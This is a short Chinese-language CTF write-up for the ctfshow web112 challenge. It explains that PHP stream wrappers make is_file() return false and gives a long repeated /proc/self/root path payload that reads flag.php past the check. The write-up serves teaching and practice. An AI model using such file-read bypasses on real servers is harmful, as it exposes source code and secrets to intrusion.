首页 > 其他分享 >ctfshow web112(伪协议绕过is_file函数)

ctfshow web112(伪协议绕过is_file函数)

时间:2022-10-18 18:12:50浏览次数:77  
标签:协议 www web112 root self ctfshow file proc

$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这里的is_file函数,在使用php的伪协议时候会返回false,除了file://协议以外。

因此可以利用的伪协议有很多这里不一一列举,详情看https://www.cnblogs.com/meng-han/p/16299548.html

都试一试咯。

当然了这里也可以利用目录溢出来做:

payload如下:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

 

标签:协议,www,web112,root,self,ctfshow,file,proc
From: https://www.cnblogs.com/meng-han/p/16803560.html

相关文章